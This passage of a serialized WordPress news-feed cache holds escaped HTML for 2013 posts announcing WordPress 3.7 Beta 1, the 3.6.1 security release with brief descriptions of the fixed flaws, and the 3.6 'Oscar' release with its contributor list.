+0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;Development\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;Releases\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/news/?p=2688\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:339:\&quot;I&amp;#8217;m pleased to announce the availability of WordPress 3.7 Beta 1. For WordPress 3.7 we decided to shorten the development cycle and focus on a few key improvements. We plan to release the final product in October, and then follow it in December with a jam-packed WordPress 3.8 release, which is already in development. Some [&amp;#8230;]\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;Andrew Nacin\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:3684:\&quot;&lt;p&gt;I&amp;#8217;m pleased to announce the availability of WordPress 3.7 Beta 1.&lt;/p&gt;\n&lt;p&gt;For WordPress 3.7 we decided to shorten the development cycle and focus on a few key improvements. We plan to release the final product in October, and then follow it in December with a jam-packed WordPress 3.8 release, which is already in development. Some of the best stuff in WordPress 3.7 is subtle &amp;#8212; by design! So let&amp;#8217;s walk through what we&amp;#8217;d love for you to test, just in time for the weekend.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Automatic, background updates.&lt;/strong&gt; 3.7 Beta 1 will keep itself updated. That&amp;#8217;s right &amp;#8212; you&amp;#8217;ll be updated each night to the newest development build, and eventually to Beta 2. We&amp;#8217;re working to provide as many installs as possible with fast updates to security releases of WordPress &amp;#8212; and you can help us test by just installing Beta 1 on your server and seeing how it works!&lt;/p&gt;\n&lt;p&gt;When you go to &lt;strong&gt;Dashboard → Updates&lt;/strong&gt;, you&amp;#8217;ll see a note letting you know whether your install is working for automatic updates. There are a few situations where WordPress can&amp;#8217;t reliably and securely update itself. But if it can, you&amp;#8217;ll get an email (sent to the &amp;#8216;Admin Email&amp;#8217; on the General Settings page) after each update letting you know what worked and what didn&amp;#8217;t. If it worked, great! If something failed, the email will suggest you make a post in the support forums or create a bug report.&lt;/p&gt;\n&lt;p&gt;Here are some other things you should test out:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;If you&amp;#8217;re running &lt;strong&gt;WordPress in another language&lt;/strong&gt;, we&amp;#8217;ll automatically download any available translations for official WordPress importers and the default themes. (More to come here.)&lt;/li&gt;\n&lt;li&gt;Our &lt;strong&gt;password meter&lt;/strong&gt; got a whole lot better, thanks to Dropbox&amp;#8217;s &lt;a href=\&quot;https://tech.dropbox.com/2012/04/zxcvbn-realistic-password-strength-estimation/\&quot;&gt;zxcvbn&lt;/a&gt; library. Again, subtle but effective. Strong passwords are very important!&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;Search results&lt;/strong&gt; are now &lt;a href=\&quot;http://core.trac.wordpress.org/changeset/25632\&quot;&gt;ordered by relevance&lt;/a&gt;, rather than just by date. When your keywords match post titles and not just content, they&amp;#8217;ll be pushed to the top.&lt;/li&gt;\n&lt;li&gt;Developers should check out the new &lt;strong&gt;advanced date queries&lt;/strong&gt; in &lt;code&gt;WP_Query&lt;/code&gt;. (&lt;a href=\&quot;http://core.trac.wordpress.org/ticket/18694\&quot;&gt;#18694&lt;/a&gt;)&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;strong&gt;This software is still in development&lt;/strong&gt;, so we don&amp;#8217;t recommend you run it on a production site. I&amp;#8217;d suggest setting up a test site just to play with the new version. To test WordPress 3.7, try the &lt;a href=\&quot;http://wordpress.org/extend/plugins/wordpress-beta-tester/\&quot;&gt;WordPress Beta Tester&lt;/a&gt; plugin (you&amp;#8217;ll want &amp;#8220;bleeding edge nightlies&amp;#8221;). Or you can &lt;a href=\&quot;http://wordpress.org/wordpress-3.7-beta1.zip\&quot;&gt;download the beta here&lt;/a&gt; (zip).&lt;/p&gt;\n&lt;p&gt;As always, &lt;strong&gt;if you think you’ve found a bug&lt;/strong&gt;, you can post to the &lt;a href=\&quot;http://wordpress.org/support/forum/alphabeta\&quot;&gt;Alpha/Beta area&lt;/a&gt; in the support forums. Or, if you’re comfortable writing a reproducible bug report, &lt;a href=\&quot;http://core.trac.wordpress.org/\&quot;&gt;file one on the WordPress Trac&lt;/a&gt;. There, you can also find &lt;a href=\&quot;http://core.trac.wordpress.org/report/5\&quot;&gt;a list of known bugs&lt;/a&gt; and &lt;a href=\&quot;http://core.trac.wordpress.org/query?status=closed&amp;amp;group=component&amp;amp;milestone=3.7\&quot;&gt;everything we’ve fixed&lt;/a&gt; so far.&lt;/p&gt;\n&lt;p&gt;Happy testing!&lt;/p&gt;\n&lt;p&gt;&lt;em&gt;WordPress three seven&lt;br /&gt;\nSaves your weary hand a click&lt;br /&gt;\nUpdates while you sleep&lt;/em&gt;&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:60:\&quot;http://wordpress.org/news/2013/09/wordpress-3-7-beta-1/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:7;a:6:{s:4:\&quot;data\&quot;;s:45:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:48:\&quot;WordPress 3.6.1 Maintenance and Security Release\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:50:\&quot;http://wordpress.org/news/2013/09/wordpress-3-6-1/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;http://wordpress.org/news/2013/09/wordpress-3-6-1/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 11 Sep 2013 20:48:23 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;Releases\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;Security\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/news/?p=2675\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:353:\&quot;After nearly 7 million downloads of WordPress 3.6, we are pleased to announce the availability of version 3.6.1. This maintenance release fixes 13 bugs in version 3.6, which was a very smooth release. WordPress 3.6.1 is also a security release for all previous WordPress versions and we strongly encourage you to update your sites immediately. [&amp;#8230;]\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;Andrew Nacin\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2033:\&quot;&lt;p&gt;After &lt;a href=\&quot;http://wordpress.org/download/counter/\&quot;&gt;nearly 7 million downloads&lt;/a&gt; of WordPress 3.6, we are pleased to announce the availability of version 3.6.1. This maintenance release &lt;a href=\&quot;http://core.trac.wordpress.org/query?status=closed&amp;amp;group=resolution&amp;amp;milestone=3.6.1\&quot;&gt;fixes 13 bugs&lt;/a&gt; in version 3.6, which was a very smooth release.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;WordPress 3.6.1 is also a security release for all previous WordPress versions&lt;/strong&gt; and we strongly encourage you to update your sites immediately. It addresses three issues fixed by the WordPress security team:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Block unsafe PHP unserialization that could occur in limited situations and setups, which can lead to remote code execution. Reported by &lt;a href=\&quot;http://vagosec.org/\&quot; rel=\&quot;nofollow\&quot;&gt;Tom Van Goethem&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Prevent a user with an Author role, using a specially crafted request, from being able to create a post &amp;#8220;written by&amp;#8221; another user. Reported by &lt;a href=\&quot;http://anakornk.wordpress.com/\&quot; rel=\&quot;nofollow\&quot;&gt;Anakorn Kyavatanakij&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Fix insufficient input validation that could result in redirecting or leading a user to another website. Reported by Dave Cummo, a Northrup Grumman subcontractor for the &lt;a href=\&quot;http://www.cdc.gov/\&quot; rel=\&quot;nofollow\&quot;&gt;U.S. Centers for Disease Control and Prevention&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Additionally, we&amp;#8217;ve adjusted security restrictions around file uploads to mitigate the potential for cross-site scripting.&lt;/p&gt;\n&lt;p&gt;We appreciated &lt;a href=\&quot;http://codex.wordpress.org/FAQ_Security\&quot;&gt;responsible disclosure&lt;/a&gt; of these issues directly to our security team. For more information on the changes, see the &lt;a href=\&quot;http://codex.wordpress.org/Version_3.6.1\&quot;&gt;release notes&lt;/a&gt; or consult &lt;a href=\&quot;http://core.trac.wordpress.org/log/branches/3.6?stop_rev=24972&amp;amp;rev=25345\&quot;&gt;the list of changes&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://wordpress.org/wordpress-3.6.1.zip\&quot;&gt;Download WordPress 3.6.1&lt;/a&gt; or update now from the Dashboard → Updates menu in your site&amp;#8217;s admin area.&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:55:\&quot;http://wordpress.org/news/2013/09/wordpress-3-6-1/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:8;a:6:{s:4:\&quot;data\&quot;;s:42:\&quot;\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:25:\&quot;WordPress 3.6 “Oscar”\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:40:\&quot;http://wordpress.org/news/2013/08/oscar/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:49:\&quot;http://wordpress.org/news/2013/08/oscar/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 01 Aug 2013 21:43:22 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;Releases\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/news/?p=2661\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:368:\&quot;The latest and greatest WordPress, version 3.6, is now live to the world and includes a beautiful new blog-centric theme, bullet-proof autosave and post locking, a revamped revision browser, native support for audio and video embeds, and improved integrations with Spotify, Rdio, and SoundCloud. Here&amp;#8217;s a video that shows off some of the features using [&amp;#8230;]\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Matt Mullenweg\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:18626:\&quot;&lt;p&gt;The latest and greatest WordPress, version 3.6, is now &lt;a href=\&quot;http://wordpress.org/download/\&quot;&gt;live to the world&lt;/a&gt; and includes a beautiful new blog-centric theme, bullet-proof autosave and post locking, a revamped revision browser, native support for audio and video embeds, and improved integrations with Spotify, Rdio, and SoundCloud. Here&amp;#8217;s a video that shows off some of the features using our cast of professional actors:&lt;/p&gt;\n&lt;div id=\&quot;v-UmhwbWJH-1\&quot; class=\&quot;video-player\&quot;&gt;&lt;embed id=\&quot;v-UmhwbWJH-1-video\&quot; src=\&quot;http://s0.videopress.com/player.swf?v=1.03&amp;amp;guid=UmhwbWJH&amp;amp;isDynamicSeeking=true\&quot; type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;692\&quot; height=\&quot;388\&quot; title=\&quot;Introducing WordPress 3.6 &amp;quot;Oscar&amp;quot;\&quot; wmode=\&quot;direct\&quot; seamlesstabbing=\&quot;true\&quot; allowfullscreen=\&quot;true\&quot; allowscriptaccess=\&quot;always\&quot; overstretch=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/div&gt;\n&lt;p&gt;We&amp;#8217;re calling this release &amp;#8220;Oscar&amp;#8221; in honor of the great jazz pianist &lt;a href=\&quot;http://en.wikipedia.org/wiki/Oscar_Peterson\&quot;&gt;Oscar Peterson&lt;/a&gt;. Here&amp;#8217;s a bit more about some of the new features, which you can also find on the about page in your dashboard after you upgrade.&lt;/p&gt;\n&lt;h3&gt;User Features&lt;/h3&gt;\n&lt;p&gt;&lt;img class=\&quot;alignright\&quot; alt=\&quot;\&quot; src=\&quot;https://wordpress.org/images/core/3.6/twentythirteen.png\&quot; width=\&quot;300\&quot; /&gt;&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;The &lt;strong&gt;new Twenty Thirteen theme&lt;/strong&gt; inspired by modern art puts focus on your content with a colorful, single-column design made for media-rich blogging.&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;Revamped Revisions&lt;/strong&gt; save every change and the new interface allows you to scroll easily through changes to see line-by-line who changed what and when.&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;Post Locking&lt;/strong&gt; and &lt;strong&gt;Augmented Autosave&lt;/strong&gt; will especially be a boon to sites where more than a single author is working on a post. Each author now has their own autosave stream, which stores things locally as well as on the server (so much harder to lose something) and there&amp;#8217;s an interface for taking over editing of a post, as demonstrated beautifully by our bearded buddies in the video above.&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;Built-in HTML5 media player&lt;/strong&gt; for native audio and video embeds with no reliance on external services.&lt;/li&gt;\n&lt;li&gt;The &lt;strong&gt;Menu Editor&lt;/strong&gt; is now much easier to understand and use.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;Developer features&lt;/h3&gt;\n&lt;ul&gt;\n&lt;li&gt;A new audio/video API gives you access to metadata like ID3 tags.&lt;/li&gt;\n&lt;li&gt;You can now choose HTML5 markup for things like comment and search forms, and comment lists.&lt;/li&gt;\n&lt;li&gt;Better filters for how revisions work, so you can store a different amount of history for different post types.&lt;/li&gt;\n&lt;li&gt;Tons more &lt;a href=\&quot;http://codex.wordpress.org/Version_3.6\&quot;&gt;listed on the Codex&lt;/a&gt;, and of course you can always &lt;a href=\&quot;http://core.trac.wordpress.org/query?status=closed&amp;amp;group=resolution&amp;amp;milestone=3.6\&quot;&gt;browse the over 700 closed tickets&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;The Band&lt;/h3&gt;\n&lt;p&gt;This release was led by &lt;a href=\&quot;http://markjaquith.com/\&quot;&gt;Mark Jaquith&lt;/a&gt; and &lt;a href=\&quot;http://geekreprieve.com/\&quot;&gt;Aaron Campbell&lt;/a&gt;, and included contributions from the following fine folks. Pull up some Oscar Peterson on your music service of choice, or vinyl if you have it, and check out some of their profiles:&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://profiles.wordpress.org/technosailor\&quot;&gt;Aaron Brazell&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/aaroncampbell\&quot;&gt;Aaron D. Campbell&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/aaronholbrook\&quot;&gt;Aaron Holbrook&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jorbin\&quot;&gt;Aaron Jorbin&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kawauso\&quot;&gt;Adam Harley&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/adamsilverstein\&quot;&gt;adamsilverstein&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/akted\&quot;&gt;AK Ted&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/xknown\&quot;&gt;Alex Concha&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/alexkingorg\&quot;&gt;Alex King&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/viper007bond\&quot;&gt;Alex Mills (Viper007Bond)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/momo360modena\&quot;&gt;Amaury Balmer&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sabreuse\&quot;&gt;Amy Hendrix (sabreuse)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/anatolbroder\&quot;&gt;Anatol Broder&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nacin\&quot;&gt;Andrew Nacin&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/azaozz\&quot;&gt;Andrew Ozz&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/andrewryno\&quot;&gt;Andrew Ryno&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/andy\&quot;&gt;Andy Skelton&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/gorgoglionemeister\&quot;&gt;Antonio&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/apimlott\&quot;&gt;apimlott&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/awellis13\&quot;&gt;awellis13&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/barry\&quot;&gt;Barry&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/beaulebens\&quot;&gt;Beau Lebens&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/belloswan\&quot;&gt;BelloSwan&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/bilalcoder\&quot;&gt;bilalcoder&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/bananastalktome\&quot;&gt;Billy (bananastalktome)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/bobbingwide\&quot;&gt;bobbingwide&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/bobbravo2\&quot;&gt;Bob Gregor&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/bradparbs\&quot;&gt;bradparbs&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/bradyvercher\&quot;&gt;Brady Vercher&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kraftbj\&quot;&gt;Brandon Kraft&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/brianlayman\&quot;&gt;Brian Layman&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/beezeee\&quot;&gt;Brian Zeligson&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/bpetty\&quot;&gt;Bryan Petty&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/chmac\&quot;&gt;Callum Macdonald&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/carldanley\&quot;&gt;Carl Danley&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/caspie\&quot;&gt;Caspie&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/charlestonsw\&quot;&gt;Charleston Software Associates&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/cheeserolls\&quot;&gt;cheeserolls&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/chipbennett\&quot;&gt;Chip Bennett&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/c3mdigital\&quot;&gt;Chris Olbekson&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/cochran\&quot;&gt;Christopher Cochran&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/cfinke\&quot;&gt;Christopher Finke&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/chriswallace\&quot;&gt;Chris Wallace&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/corvannoorloos\&quot;&gt;Cor van Noorloos&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/crazycoders\&quot;&gt;crazycoders&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/danielbachhuber\&quot;&gt;Daniel Bachhuber&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mzaweb\&quot;&gt;Daniel Dvorkin (MZAWeb)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/redsweater\&quot;&gt;Daniel Jalkut (Red 